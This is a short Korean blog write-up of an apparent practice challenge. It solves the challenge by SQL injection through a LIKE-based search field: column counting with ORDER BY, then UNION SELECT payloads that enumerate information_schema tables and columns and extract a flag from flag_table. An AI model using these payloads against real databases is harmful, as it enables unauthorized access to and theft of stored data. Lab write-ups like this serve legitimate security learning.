Information Technology/write-up

SQL Injection 1 - order by, like, union

Brandon IT 2025. 5. 28. 14:47
320x100

문제

 

 

 

 

 

우선 모든 데이터를 조회하기 위하여 아래와 같은 쿼리를 사용했다.

목표는 숨겨진 데이터를 찾는 것인데 변동사항은 없다.

 

 

o 하나만 검색해도 연관되어있는 ID 모두가 나타난다.

like 절이 쿼리문에 들어가 있는 것을 알 수 있다.

 

현재 예상되는 쿼리 : select * from ___ where id like ‘%__%’

 

select * from ___ where id like ‘%o%’

 

 

 

select * from ___ where id like ‘%o%’ and ‘1%’=’1%’

데이터가 나오지 않는다.

 

 

 

order by를 사용하여 컬럼의 개수를 파악했다.

총 4개, 그 이상부터는 데이터가 나오지 않는다.

-> 컬럼은 표에 보이는 4개가 전부이다.

 

 

ad%' union select table_name,2,3,4 from information_schema.tables #

-> tables 전체를 확인할 수 있다.

 

 

ad%' union select column_name,2,3,4 from information_schema.columns where table_name = 'flag_table' #

-> 그 중 의심이 가는 flag_table 에 접속

 

 

ad%' union select flag,2,3,4 from flag_table #

300x250